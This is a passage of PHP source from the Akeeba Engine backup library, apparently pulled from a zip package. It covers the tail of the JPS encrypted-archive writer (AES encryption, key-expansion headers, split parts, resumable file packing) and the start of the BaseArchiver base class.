		// Extra headers length (76 bytes for key expansion header)
		$this->fwrite($this->fp, pack('v', 76));

		// Password expansion header (28 bytes)
		$this->writeKeyExpansionArchiveExtraHeader();

		// Change the permissions of the file
		@chmod($this->_dataFileName, $this->getPermissions());
	}

	/**
	 * Outputs the end of the Standard Header at the file
	 *
	 * @return  void
	 */
	protected function writeEndOfArchiveHeader()
	{
		if (!is_null($this->fp))
		{
			$this->fclose($this->fp);
			$this->fp = null;
		}

		$this->openArchiveForOutput(true);

		$this->fwrite($this->fp, $this->endOfArchiveSignature); // ID string (JPE)
		$this->fwrite($this->fp, pack('v', $this->totalParts)); // Total number of parts
		$this->fwrite($this->fp, pack('V', $this->totalFilesCount)); // Total number of files
		$this->fwrite($this->fp, pack('V', $this->totalUncompressedSize)); // Uncompressed size
		$this->fwrite($this->fp, pack('V', $this->totalCompressedSize)); // Compressed size
	}

	/**
	 * Extend the bootstrap code to add some define's used by the JPS format engine
	 *
	 * @return void
	 */
	protected function __bootstrap_code()
	{
		if (!defined('_JPS_MAJOR'))
		{
			define('_JPS_MAJOR', 1); // JPS Format major version number
			define('_JPS_MINOR', 9); // JPS Format minor version number
		}

		// Set up the key expansion
		$this->encryptionObject = Factory::getEncryption();

		$config              = Factory::getConfiguration();
		$pbkdf2UseStaticSalt = $config->get('engine.archiver.jps.pbkdf2usestaticsalt', 1);
		$this->encryptionObject
			->setPbkdf2Algorithm('sha1')
			->setPbkdf2Iterations($pbkdf2UseStaticSalt ? 128000 : 2500)
			->setPbkdf2UseStaticSalt($pbkdf2UseStaticSalt);

		if ($pbkdf2UseStaticSalt)
		{
			$this->encryptionObject->setPbkdf2StaticSalt($this->staticSalt);
		}

		parent::__bootstrap_code();
	}

	/**
	 * The most basic file transaction: add a single entry (file or directory) to
	 * the archive.
	 *
	 * @param   bool    $isVirtual         If true, the next parameter contains file data instead of a file name
	 * @param   string  $sourceNameOrData  Absolute file name to read data from or the file data itself is $isVirtual is
	 *                                     true
	 * @param   string  $targetName        The (relative) file name under which to store the file in the archive
	 *
	 * @return boolean True on success, false otherwise
	 */
	protected function _addFile($isVirtual, &$sourceNameOrData, $targetName)
	{
		// Get references to engine objects we're going to be using
		$configuration = Factory::getConfiguration();

		// Is this a virtual file?
		$isVirtual = (bool) $isVirtual;

		// Open data file for output
		$this->openArchiveForOutput();

		// Should I continue backing up a file from the previous step?
		$continueProcessingFile = $configuration->get('volatile.engine.archiver.processingfile', false);

		// Initialize with the default values. Why are *these* values default? If we are continuing file packing, by
		// definition we have an uncompressed, non-virtual file. Hence the default values.
		$isDir     = false;
		$isSymlink = false;

		if (!$continueProcessingFile)
		{
			// Log the file being added
			$messageSource = $isVirtual ? '(virtual data)' : "(source: $sourceNameOrData)";
			Factory::getLog()->debug("-- Adding $targetName to archive $messageSource");

			$this->writeFileHeader($sourceNameOrData, $targetName, $isVirtual, $isSymlink, $isDir, $compressionMethod, $fileSize);
		}
		else
		{
			$sourceNameOrData = $configuration->get('volatile.engine.archiver.sourceNameOrData', '');
			$resume           = $configuration->get('volatile.engine.archiver.resume', 0);
			$fileSize         = $configuration->get('volatile.engine.archiver.unc_len', 0);

			// Log the file we continue packing
			Factory::getLog()->debug("-- Resuming adding file $sourceNameOrData to archive from position $resume (total size $fileSize)");
		}

		if ($isSymlink)
		{
			// Symlink: Single step, one block, uncompressed
			$this->putSymlinkToArchive($sourceNameOrData);
		}
		elseif ($isVirtual)
		{
			// Virtual: Single step, multiple blocks, compressed
			$this->putVirtualFileToArchive($sourceNameOrData);
		}
		elseif (!$isDir)
		{
			// Regular file: multiple step, multiple blocks, compressed
			if ($this->putFileIntoArchive($sourceNameOrData, $fileSize) === true)
			{
				return true;
			}
		}

		return true;
	}

	/**
	 * Writes an encrypted block to the archive
	 *
	 * @param   string  $data  Raw binary data to encrypt and write
	 *
	 * @return  bool  True on success
	 */
	protected function _writeEncryptedBlock($data)
	{
		$decryptedSize = akstrlen($data);
		$data          = $this->encryptionObject->AESEncryptCBC($data, $this->password);
		$encryptedSize = akstrlen($data);

		// Initialize the value with something suitable for single part archives
		$free_space = $encryptedSize + 8;

		// Do we have enough space to store the 8 byte header?
		if ($this->useSplitArchive)
		{
			// Compare to free part space
			$free_space = $this->getPartFreeSize();

			if ($free_space <= 8)
			{
				$this->createAndOpenNewPart();
			}
		}

		// Write the header
		$this->fwrite($this->fp,
			pack('V', $encryptedSize) .
			pack('V', $decryptedSize)
		);

		$free_space -= 8;

		// Do we have enough space to write the data in one part?
		if ($free_space >= $encryptedSize)
		{
			$this->fwrite($this->fp, $data);

			return true;
		}

		while ($encryptedSize > 0)
		{
			// Split between parts - Write first part
			$dataMD5         = self::md5($data);
			$firstPart       = aksubstr($data, 0, $free_space);
			$data            = aksubstr($data, $free_space);
			$firstPartLength = akstrlen($firstPart);

			if (self::md5($firstPart . $data) != $dataMD5)
			{
				throw new ErrorException('Multibyte character problems detected');
			}

			// Try to write to the archive. We can only write as much bytes as the free space in the backup archive OR
			// the total data bytes left, whichever is lower.
			$bytesWritten = $this->fwrite($this->fp, $firstPart, $firstPartLength);

			// Since we may have written fewer bytes than anticipated we use the real bytes written for calculations
			$free_space    -= $bytesWritten;
			$encryptedSize -= $bytesWritten;

			// Not all bytes were written. The rest must be placed in front of the remaining data so we can write it
			// in the next archive part.
			if ($bytesWritten < $firstPartLength)
			{
				$data = aksubstr($firstPart, $bytesWritten) . $data;
			}

			// If the part file is full create a new one
			if ($free_space <= 0)
			{
				// Create new part
				$this->createAndOpenNewPart();

				// Get its free space
				$free_space = $this->getPartFreeSize();
			}
		}

		return true;
	}

	/**
	 * Creates a new archive part
	 *
	 * @param   bool  $finalPart  Set to true if it is the final part (therefore has the .jps extension)
	 *
	 * @return  bool  True on success
	 */
	protected function createNewPartFile($finalPart = false)
	{
		// Close any open file pointers
		if (is_resource($this->fp))
		{
			$this->fclose($this->fp);
		}

		if (is_resource($this->cdfp))
		{
			$this->fclose($this->cdfp);
		}

		// Remove the just finished part from the list of resumable offsets
		$this->removeFromOffsetsList($this->_dataFileName);

		// Set the file pointers to null
		$this->fp   = null;
		$this->cdfp = null;

		// Push the previous part if we have to post-process it immediately
		$configuration = Factory::getConfiguration();

		if ($configuration->get('engine.postproc.common.after_part', 0))
		{
			$this->finishedPart[] = $this->_dataFileName;
		}

		$this->totalParts++;
		$this->currentPartNumber = $this->totalParts;

		if ($finalPart)
		{
			$this->_dataFileName = $this->dataFileNameWithoutExtension . '.jps';
		}
		else
		{
			$this->_dataFileName =
				$this->dataFileNameWithoutExtension . '.j' . sprintf('%02d', $this->currentPartNumber);
		}

		Factory::getLog()->info('Creating new JPS part #' . $this->currentPartNumber . ', file ' . $this->_dataFileName);

		// Inform that we have chenged the multipart number
		$statistics = Factory::getStatistics();
		$statistics->updateMultipart($this->totalParts);

		// Try to remove any existing file
		@clearstatcache($this->_dataFileName);

		if (file_exists($this->_dataFileName))
		{
			@unlink($this->_dataFileName);
		}

		// Touch the new file
		$result = @touch($this->_dataFileName);

		@chmod($this->_dataFileName, $this->getPermissions());

		return $result;
	}

	/**
	 * Write the header for key expansion into the archive
	 *
	 * @return  void
	 *
	 * @since   5.3.0
	 */
	protected function writeKeyExpansionArchiveExtraHeader()
	{
		$expansionParams = $this->encryptionObject->getKeyDerivationParameters();

		switch ($expansionParams['algorithm'])
		{
			default:
			case 'sha1':
				$algo = 0;
				break;

			case 'sha256':
				$algo = 1;
				break;

			case 'sha512':
				$algo = 2;
				break;
		}

		$hasStaticSalt = $expansionParams['useStaticSalt'];
		$staticSalt    = $expansionParams['staticSalt'];

		if (!$hasStaticSalt)
		{
			$staticSalt = "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
			$staticSalt .= "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
			$staticSalt .= "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
			$staticSalt .= "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
		}

		// -- Header
		$this->fwrite($this->fp, "JH\x00\x01");
		// -- Field length (with header)
		$this->fwrite($this->fp, pack('v', 12 + $this->stringLength($staticSalt)));
		// -- Algorithm, iterations, has static salt
		$this->fwrite($this->fp, pack('CVC', $algo, $expansionParams['iterations'], $hasStaticSalt));
		// -- Static salt
		$this->fwrite($this->fp, $staticSalt);
	}

	/**
	 * Test whether encryption and compression is available and operational on this server.
	 *
	 * @return  void
	 *
	 * @throws  ErrorException
	 */
	private function testEncryptionAvailability()
	{
		$test = $this->encryptionObject->AESEncryptCBC('test', 'test');

		if ($test === false)
		{
			throw new ErrorException('Sorry, your server does not support AES-128 encryption. Please use a different archive format.');
		}

		// Make sure we can really compress stuff
		if (!function_exists('gzcompress'))
		{
			throw new ErrorException('Sorry, your server does not support GZip compression which is required for the JPS format. Please use a different archive format.');
		}
	}

	/**
	 * Rename the extension of the last part of a split archive to .jps
	 *
	 * @return  void
	 *
	 * @throws  ErrorException
	 */
	private function renameLastPartToJps()
	{
		if (!$this->useSplitArchive)
		{
			return;
		}

		$extension = substr($this->_dataFileName, -3);

		if ($extension == '.jps')
		{
			return;
		}

		Factory::getLog()->debug('Renaming last JPS part to .JPS extension');
		$newName = $this->dataFileNameWithoutExtension . '.jps';

		if (!@rename($this->_dataFileName, $newName))
		{
			throw new ErrorException('Could not rename last JPS part to .JPS extension.');
		}

		$this->_dataFileName = $newName;
	}

	/**
	 * Write the file header to the backup archive.
	 *
	 * Only the first three parameters are input. All other are ignored for input and are overwritten.
	 *
	 * @param   string  $sourceNameOrData   The path to the file being compressed, or the raw file data for virtual files
	 * @param   string  $targetName         The target path to be stored inside the archive
	 * @param   bool    $isVirtual          Is this a virtual file?
	 * @param   bool    $isSymlink          Is this a symlink?
	 * @param   bool    $isDir              Is this a directory?
	 * @param   int     $compressionMethod  The compression method chosen for this file
	 * @param   int     $fileSize           The uncompressed size of the file / source data
	 *
	 * @return  void
	 */
	private function writeFileHeader(&$sourceNameOrData, $targetName, &$isVirtual, &$isSymlink, &$isDir, &$compressionMethod, &$fileSize)
	{
		$configuration = Factory::getConfiguration();

		// Uncache data
		$configuration->set('volatile.engine.archiver.sourceNameOrData', null);
		$configuration->set('volatile.engine.archiver.unc_len', null);
		$configuration->set('volatile.engine.archiver.resume', null);
		$configuration->set('volatile.engine.archiver.processingfile', false);

		// See if it's a directory
		$isDir = $isVirtual ? false : is_dir($sourceNameOrData);

		// See if it's a symlink (w/out dereference)
		$isSymlink = false;

		if ($this->storeSymlinkTarget && !$isVirtual)
		{
			$isSymlink = is_link($sourceNameOrData);
		}

		// Get real size before compression
		[$fileSize, $fileModTime] =
			$this->getFileSizeAndModificationTime($sourceNameOrData, $isVirtual, $isSymlink, $isDir);

		// Decide if we will compress
		$compressionMethod = ($isDir || $isSymlink) ? 0 : 1;

		// Fix stored name for directories
		$storedName = $targetName;
		$storedName .= ($isDir) ? "/" : "";

		// Get file permissions
		$perms = $isVirtual ? 0644 : @fileperms($sourceNameOrData);

		// Get file type
		$fileType = 1;

		if ($isSymlink)
		{
			$fileType = 2;
		}
		elseif ($isDir)
		{
			$fileType = 0;
		}

		// Create the Entity Description Block Data
		$headerData =
			pack('v', akstrlen($storedName)) // Length of entity path
			. $storedName // Entity path
			. pack('c', $fileType) // Entity type
			. pack('c', $compressionMethod) // Compression type
			. pack('V', $fileSize) // Uncompressed size
			. pack('V', $perms) // Entity permissions
			. pack('V', $fileModTime) // File Modification Time
		;

		// Create and write the Entity Description Block Header
		$decryptedSize = akstrlen($headerData);
		$headerData    = $this->encryptionObject->AESEncryptCBC($headerData, $this->password);
		$encryptedSize = akstrlen($headerData);

		$headerData =
			$this->fileHeaderSignature . // JPF
			pack('v', $encryptedSize) . // Encrypted size
			pack('v', $decryptedSize) . // Decrypted size
			$headerData // Encrypted Entity Description Block Data
		;

		// Do we have enough space to store the header?
		if ($this->useSplitArchive)
		{
			// Compare to free part space
			$free_space = $this->getPartFreeSize();

			if ($free_space <= akstrlen($headerData))
			{
				// Not enough space on current part, create new part
				$this->createAndOpenNewPart();
			}
		}

		// Write the header data
		$this->fwrite($this->fp, $headerData);

		// Cache useful information about the file
		$configuration->set('volatile.engine.archiver.sourceNameOrData', $sourceNameOrData);
		$configuration->set('volatile.engine.archiver.unc_len', $fileSize);

		// Update global stats
		$this->totalFilesCount++;
		$this->totalUncompressedSize += $fileSize;
	}

	/**
	 * Put a symlink into the archive
	 *
	 * @param   string  $sourceNameOrData  The link to add to the archive
	 */
	private function putSymlinkToArchive(&$sourceNameOrData)
	{
		$data = @readlink($sourceNameOrData);
		$this->_writeEncryptedBlock($data);
		$this->totalCompressedSize += akstrlen($data);
	}

	/**
	 * Put a virtual file into the archive
	 *
	 * @param   string  $sourceNameOrData  The file contents to put into the archive
	 *
	 * @return  void
	 *
	 * @throws  ErrorException
	 */
	private function putVirtualFileToArchive(&$sourceNameOrData)
	{
		if (akstrlen($sourceNameOrData) <= 0)
		{
			return;
		}

		// Loop in 64Kb blocks
		while (akstrlen($sourceNameOrData) > 0)
		{
			// Get up to 64Kb
			$data = aksubstr($sourceNameOrData, 0, 65535);

			// Compress and encrypt data
			$data = gzcompress($data);
			$data = aksubstr(aksubstr($data, 0, -4), 2);
			$this->_writeEncryptedBlock($data);

			// Update the compressed size counter
			$this->totalCompressedSize += akstrlen($data);

			// Remove the portion of the data we just handled from the source
			if (akstrlen($data) < akstrlen($sourceNameOrData))
			{
				$sourceNameOrData = aksubstr($sourceNameOrData, 65535);
			}
			else
			{
				$sourceNameOrData = '';
			}
		}
	}

	/**
	 * Begin or resume adding a file to the archive
	 *
	 * @param   string  $sourceNameOrData  Path to the file being added to the archive
	 *
	 * @return  bool  True if we must resume file processing in the next step
	 */
	private function putFileIntoArchive(&$sourceNameOrData, $fileSize)
	{
		$configuration = Factory::getConfiguration();
		$timer         = Factory::getTimer();
		$resume        = null;

		// Get resume information of required
		$continueProcessingFile = $configuration->get('volatile.engine.archiver.processingfile', false);

		if ($continueProcessingFile)
		{
			$resume = $configuration->get('volatile.engine.archiver.resume', 0);

			Factory::getLog()->debug("(cont) Source: $sourceNameOrData - Size: $fileSize - Resume: $resume");
		}

		// Open the file
		$zdatafp = @fopen($sourceNameOrData, "rb");

		if ($zdatafp === false)
		{
			throw new WarningException('Unreadable file ' . $sourceNameOrData . '. Check permissions');
		}

		// Seek to the resume point if required
		if ($continueProcessingFile)
		{
			// Seek to new offset
			$seek_result = @fseek($zdatafp, $resume);

			if ($seek_result === -1)
			{
				// What?! We can't resume!
				$this->conditionalFileClose($zdatafp);

				throw new ErrorException(sprintf('Could not resume packing of file %s. Your archive is damaged!', $sourceNameOrData));
			}

			// Doctor the uncompressed size to match the remainder of the data
			$fileSize = $fileSize - $resume;
		}

		while (!@feof($zdatafp) && ($timer->getTimeLeft() > 0) && ($fileSize > 0))
		{
			$zdata    = @fread($zdatafp, AKEEBA_CHUNK);
			$fileSize -= min(akstrlen($zdata), AKEEBA_CHUNK);
			$zdata    = gzcompress($zdata);
			$zdata    = aksubstr(aksubstr($zdata, 0, -4), 2);

			try
			{
				$this->_writeEncryptedBlock($zdata);
			}
			catch (ErrorException $e)
			{
				$this->conditionalFileClose($zdatafp);

				throw $e;
			}

			$this->totalCompressedSize += akstrlen($zdata);
		}

		$mustResume = false;
		$resume     = null;

		// WARNING!!! The extra $fileSize != 0 check is necessary as PHP won't reach EOF for 0-byte files.
		if (!feof($zdatafp) && ($fileSize != 0))
		{
			// We have to break, or we'll time out!
			$mustResume = true;
			$resume     = @ftell($zdatafp);
		}

		$configuration->set('volatile.engine.archiver.resume', $resume);
		$configuration->set('volatile.engine.archiver.processingfile', $mustResume);

		$this->conditionalFileClose($zdatafp);

		return $mustResume;
	}
}
PK     \C+g  g  5  vendor/akeeba/engine/engine/Archiver/BaseArchiver.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Archiver;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Exceptions\ErrorException;
use Akeeba\Engine\Base\Exceptions\WarningException;
use Akeeba\Engine\Factory;

if (!defined('AKEEBA_CHUNK'))
{
	$configuration = Factory::getConfiguration();
	$chunksize     = $configuration->get('engine.archiver.common.chunk_size', 1048576);
	define('AKEEBA_CHUNK', $chunksize);
}

if (!function_exists('aksubstr'))
{
	/**
	 * Attempt to use mbstring for getting parts of strings
	 *
	 * @param   string    $string
	 * @param   int       $start
	 * @param   int|null  $length
	 *
	 * @return  string
	 */
	function aksubstr($string, $start, $length = null)
	{
		return function_exists('mb_substr') ? mb_substr($string, $start, $length, '8bit') :
			substr($string, $start, $length);
	}
}

/**
 * Abstract class for custom archiver implementations
 */
abstract class BaseArchiver extends BaseFileManagement
{
	/** @var   array  The last part which has been finalized and waits to be post-processed */
	public $finishedPart = [];

	/** @var resource File pointer to the archive being currently written to */
	protected $fp = null;

	/** @var resource File pointer to the archive's central directory file (for ZIP) */
	protected $cdfp = null;

	/** @var string The name of the file holding the archive's data, which becomes the final archive */
	protected $_dataFileName;

	/** @var string Archive full path without extension */
	protected $dataFileNameWithoutExtension = '';

	/** @var bool Should I store symlinks as such (no dereferencing?) */
	protected $storeSymlinkTarget = false;

	/** @var int Part size for split archives, in bytes */
	protected $partSize = 0;

	/** @var bool Should I use Split ZIP? */
	protected $useSplitArchive = false;

	/** @var int Permissions for the backup archive part files */
	protected $permissions = null;

	/**
	 * Release file pointers when the object is being serialized
	 *
	 * @codeCoverageIgnore
	 *
	 * @return  void
	 */
	public function _onSerialize()
	{
		$this->_closeAllFiles();

		$this->fp   = null;
		$this->cdfp = null;
	}

	/**
	 * Release file pointers when the object is being destroyed
	 *
	 * @codeCoverageIgnore
	 *
	 * @return  void
	 */
	public function __destruct()
	{
		$this->_closeAllFiles();

		$this->fp   = null;
		$this->cdfp = null;
	}

	/**
	 * Create a new archive part file (but does NOT open it for writing)
	 *
	 * @param   bool  $finalPart  True if this is the final part
	 *
	 * @return  bool  False if creating a new part fails
	 */
	abstract protected function createNewPartFile($finalPart = false);

	/**
	 * Create a new part file and open it for writing
	 *
	 * @param   bool  $finalPart  Is this the final part?
	 *
	 * @return  void
	 */
	protected function createAndOpenNewPart($finalPart = false)
	{
		@$this->fclose($this->fp);
		$this->fp = null;

		// Not enough space on current part, create new part
		if (!$this->createNewPartFile($finalPart))
		{
			$extension = $this->getExtension();
			$extension = ltrim(strtoupper($extension), '.');

			throw new ErrorException("Could not create new $extension part file " . basename($this->_dataFileName));
		}

		$this->openArchiveForOutput(true);
	}

	/**
	 * Create a new backup archive
	 *
	 * @return  void
	 *
	 * @throws  ErrorException
	 */
	protected function createNewBackupArchive()
	{
		Factory::getLog()->debug(__CLASS__ . " :: Killing old archive");

		$this->fp = $this->fopen($this->_dataFileName, "w");

		if ($this->fp === false)
		{
			if (file_exists($this->_dataFileName))
			{
				@unlink($this->_dataFileName);
			}

			@touch($this->_dataFileName);
			@chmod($this->_dataFileName, 0666);

			$this->fp = $this->fopen($this->_dataFileName, "w");

			if ($this->fp !== false)
			{
				throw new ErrorException("Could not open archive file '{$this->_dataFileName}' for append!");
			}
		}

		@ftruncate($this->fp, 0);
	}

	/**
	 * Opens the backup archive file for output. Returns false if the archive file cannot be opened in binary append
	 * mode.
	 *
	 * @param   bool  $force  Should I forcibly reopen the file? If false, I'll only open the file if the current
	 *                        file pointer is null.
	 *
	 * @return  void
	 */
	protected function openArchiveForOutput($force = false)
	{
		if (is_null($this->fp) || $force)
		{
			$this->fp = $this->fopen($this->_dataFileName, "a");
		}

		if ($this->fp === false)
		{
			$this->fp = null;

			throw new ErrorException("Could not open archive file '{$this->_dataFileName}' for append!");
		}
	}

	/**
	 * Converts a human formatted size to integer representation of bytes,
	 * e.g. 1M to 1024768
	 *
	 * @param   string  $setting  The value in human readable format, e.g. "1M"
	 *
	 * @return  integer  The value in bytes
	 */
	protected function humanToIntegerBytes($setting)
	{
		$val  = trim($setting);
		$last = strtolower($val[strlen($val) - 1]);

		if (is_numeric($last))
		{
			return $setting;
		}

		switch ($last)
		{
			case 't':
				$val *= 1024;
			case 'g':
				$val *= 1024;
			case 'm':
				$val *= 1024;
			case 'k':
				$val *= 1024;
		}

		return (int) $val;
	}

	/**
	 * Get the PHP memory limit in bytes
	 *
	 * @return int|null  Memory limit in bytes or null if we can't figure it out.
	 */
	protected function getMemoryLimit()
	{
		if (!function_exists('ini_get'))
		{
			return null;
		}

		$memLimit = ini_get("memory_limit");

		if ((is_numeric($memLimit) && ($memLimit < 0)) || !is_numeric($memLimit))
		{
			$memLimit = 0; // 1.2a3 -- Rare case with memory_limit < 0, e.g. -1Mb!
		}

		$memLimit = $this->humanToIntegerBytes($memLimit);

		return $memLimit;
	}

	/**
	 * Enable storing of symlink target if we are not on Windows
	 *
	 * @return  void
	 */
	protected function enableSymlinkTargetStorage()
	{
		$configuration       = Factory::getConfiguration();
		$dereferenceSymlinks = $configuration->get('engine.archiver.common.dereference_symlinks', true);

		if ($dereferenceSymlinks)
		{
			return;
		}

		// We are told not to dereference symlinks. Are we on Windows?
		$isWindows = (DIRECTORY_SEPARATOR == '\\');

		if (function_exists('php_uname'))
		{
			$isWindows = stristr(php_uname(), 'windows');
		}

		// If we are not on Windows, enable symlink target storage
		$this->storeSymlinkTarget = !$isWindows;
	}

	/**
	 * Gets the file size and last modification time (also works on virtual files and symlinks)
	 *
	 * @param   string  $sourceNameOrData  File path to the source file or source data (if $isVirtual is true)
	 * @param   bool    $isVirtual         Is this a virtual file?
	 * @param   bool    $isSymlink         Is this a symlink?
	 * @param   bool    $isDir             Is this a directory?
	 *
	 * @return  array
	 */
	protected function getFileSizeAndModificationTime(&$sourceNameOrData, $isVirtual, $isSymlink, $isDir)
	{
		// Get real size before compression
		if ($isVirtual)
		{
			$fileSize    = akstrlen($sourceNameOrData);
			$fileModTime = time();

			return [$fileSize, $fileModTime];
		}


		if ($isSymlink)
		{
			$fileSize    = akstrlen(@readlink($sourceNameOrData));
			$fileModTime = 0;

			return [$fileSize, $fileModTime];
		}

		// Is the file readable?
		if (!is_readable($sourceNameOrData) && !$isDir)
		{
			// Really, REALLY check if it is readable (PHP sometimes lies, dammit!)
			$myFP = @$this->fopen($sourceNameOrData, 'r');

			if ($myFP === false)
			{
				// Unreadable file, skip it.
				throw new WarningException('Unreadable file ' . $sourceNameOrData . '. Check permissions');
			}

			@$this->fclose($myFP);
		}

		// Get the file size
		$fileSize    = $isDir ? 0 : @filesize($sourceNameOrData);
		$fileModTime = $isDir ? 0 : @filemtime($sourceNameOrData);

		return [$fileSize, $fileModTime];
	}

	/**
	 * Get the preferred compression method for a file
	 *
	 * @param   int   $fileSize   File size in bytes
	 * @param   int   $memLimit   Memory limit in bytes
	 * @param   bool  $isDir      Is it a directory?
	 * @param   bool  $isSymlink  Is it a symlink?
	 *
	 * @return  int  Compression method to use: 0 (uncompressed) or 1 (gzip deflate)
	 */
	protected function getCompressionMethod($fileSize, $memLimit, $isDir, $isSymlink)
	{
		// If we don't have gzip installed we can't compress anything
		if (!function_exists("gzcompress"))
		{
			return 0;
		}

		// Don't compress directories or symlinks
		if ($isDir || $isSymlink)
		{
			return 0;
		}

		// Do not compress files over the compression threshold
		if ($fileSize >= _AKEEBA_COMPRESSION_THRESHOLD)
		{
			return 0;
		}

		// No memory limit, file smaller than the compression threshold: always compress.
		if (is_numeric($memLimit) && ($memLimit == 0))
		{
			return 1;
		}

		// Non-zero memory limit, PHP can report memory usage, see if there's enough memory.
		if (is_numeric($memLimit) && function_exists("memory_get_usage"))
		{
			$availableRAM = $memLimit - memory_get_usage();
			// Conservative approach: if the file size is over 40% of the available memory we won't compress.
			$compressionMethod = (($availableRAM / 2.5) >= $fileSize) ? 1 : 0;

			return $compressionMethod;
		}

		// Non-zero memory limit, PHP can't report memory usage, compress only files up to 512Kb (very conservative)
		return ($fileSize <= 524288) ? 1 : 0;
	}

	/**
	 * Checks if the file exists and is readable
	 *
	 * @param   string  $sourceNameOrData  The path to the file being compressed, or the raw file data for virtual files
	 * @param   bool    $isVirtual         Is this a virtual file?
	 * @param   bool    $isSymlink         Is this a symlink?
	 * @param   bool    $isDir             Is this a directory?
	 *
	 * @return  void
	 *
	 * @throws  WarningException
	 */
	protected function testIfFileExists(&$sourceNameOrData, &$isVirtual, &$isDir, &$isSymlink)
	{
		if ($isVirtual || $isDir)
		{
			return;
		}

		if (!@file_exists($sourceNameOrData))
		{
			if ($isSymlink)
			{
				throw new WarningException('The symlink ' . $sourceNameOrData . ' points to a file or folder that no longer exists and will NOT be backed up.');
			}

			throw new WarningException('The file ' . $sourceNameOrData . ' no longer exists and will NOT be backed up. Are you backing up temporary or cache data?');
		}

		if (!@is_readable($sourceNameOrData))
		{
			throw new WarningException('Unreadable file ' . $sourceNameOrData . '. Check permissions.');
		}
	}

	/**
	 * Try to get the compressed data for a file
	 *
	 * @param   string  $sourceNameOrData
	 * @param   bool    $isVirtual
	 * @param   int     $compressionMethod
	 * @param   string  $zdata
	 * @param   int     $unc_len
	 * @param   int     $c_len
	 *
	 * @return  void
	 */
	protected function getZData(&$sourceNameOrData, &$isVirtual, &$compressionMethod, &$zdata, &$unc_len, &$c_len)
	{
		// Get uncompressed data
		$udata =& $sourceNameOrData;

		if (!$isVirtual)
		{
			$udata = @file_get_contents($sourceNameOrData);

			if ($udata === false)
			{
				@clearstatcache($sourceNameOrData);

				$fileExists = @file_exists($sourceNameOrData);

				if (!$fileExists)
				{
					throw new ErrorException(
						sprintf(
							'The file %s went away before we could start putting it in the backup archive. We cannot continue the backup. Your archive is damaged! If this is a temporary, cache, or log file we advise you to exclude it from the backup. If its containing directory is meant to include temporary, cache, or log file we recommend that you exclude the contents of the file\'s containing folder.',
							$sourceNameOrData
						)
					);
				}

				throw new ErrorException('Unreadable file ' . $sourceNameOrData . '. Check permissions. Your archive is corrupt!');
			}
		}

		// If the compression fails, we will let it behave like no compression was available
		$c_len             = $unc_len;
		$compressionMethod = 0;

		// Proceed with compression
		$zdata = @gzcompress($udata);

		if ($zdata !== false)
		{
			// The compression succeeded
			unset($udata);
			$compressionMethod = 1;
			$zdata             = aksubstr($zdata, 2, -4);
			$c_len             = akstrlen($zdata);
		}
	}

	/**
	 * Returns the bytes available for writing data to the current part file (i.e. part size minus current offset)
	 *
	 * @return  int
	 */
	protected function getPartFreeSize()
	{
		clearstatcache();
		$current_part_size = @filesize($this->_dataFileName);

		return (int) $this->partSize - ($current_part_size === false ? 0 : $current_part_size);
	}

	/**
	 * Enable split archive creation where possible
	 *
	 * @return  void
	 */
	protected function enableSplitArchives()
	{
		$configuration = Factory::getConfiguration();
		$partSize      = $configuration->get('engine.archiver.common.part_size', 0);

		// If the part size is less than 64Kb we won't enable split archives
		if ($partSize < 65536)
		{
			return;
		}

		$extension            = $this->getExtension();
		$altExtension         = substr($extension, 0, 2) . '01';
		$archiveTypeUppercase = strtoupper(substr($extension, 1));

		Factory::getLog()->info(__CLASS__ . " :: Split $archiveTypeUppercase creation enabled");

		$this->useSplitArchive              = true;
		$this->partSize                     = $partSize;
		$this->dataFileNameWithoutExtension =
			dirname($this->_dataFileName) . '/' . basename($this->_dataFileName, $extension);
		$this->_dataFileName                = $this->dataFileNameWithoutExtension . $altExtension;

		// Indicate that we have at least 1 part
		$statistics = Factory::getStatistics();
		$statistics->updateMultipart(1);
	}

	/**
	 * Write a file's GZip compressed data to the archive, taking into account archive splitting
	 *
	 * @param   string  $zdata  The compressed data to write to the archive
	 *
	 * @return  void
	 */
	protected function putRawDataIntoArchive(&$zdata)
	{
		// Single part archive. Just dump the compressed data.
		if (!$this->useSplitArchive)
		{
			$this->fwrite($this->fp, $zdata);

			return;
		}

		// Split JPA. Check if we need to split the part in the middle of the data.
		$freeSpaceInPart = $this->getPartFreeSize();

		// Nope. We have enough space to write all of the data in this part.
		if ($freeSpaceInPart >= akstrlen($zdata))
		{
			$this->fwrite($this->fp, $zdata);

			return;
		}

		$bytesLeftInData = akstrlen($zdata);

		while ($bytesLeftInData > 0)
		{
			// Try to write to the archive. We can only write as much bytes as the free space in the backup archive OR
			// the total data bytes left, whichever is lower.
			$bytesWritten = $this->fwrite($this->fp, $zdata, min($bytesLeftInData, $freeSpaceInPart));

			// Since we may have written fewer bytes than anticipated we use the real bytes written for calculations
			$freeSpaceInPart -= $bytesWritten;
			$bytesLeftInData -= $bytesWritten;

			// If we still have data to write, remove the part already written and keep the rest
			if ($bytesLeftInData > 0)
			{
				$zdata = aksubstr($zdata, -$bytesLeftInData);
			}

			// If the part file is full create a new one
			if ($freeSpaceInPart <= 0)
			{
				// Create new part
				$this->createAndOpenNewPart();

				// Get its free space
				$freeSpaceInPart = $this->getPartFreeSize();
			}
		}

		// Tell PHP to free up some memory
		$zdata = null;
	}

	/**
	 * Begin or resume adding an uncompressed file into the archive.
	 *
	 * IMPORTANT! Only this case can be spanned across steps: uncompressed, non-virtual data
	 *
	 * @param   string  $sourceNameOrData  The path to the file we are reading from.
	 * @param   int     $fileLength        The file size we are supposed to read, in bytes.
	 * @param   int     $resumeOffset      Offset in the file to resume reading from
	 *
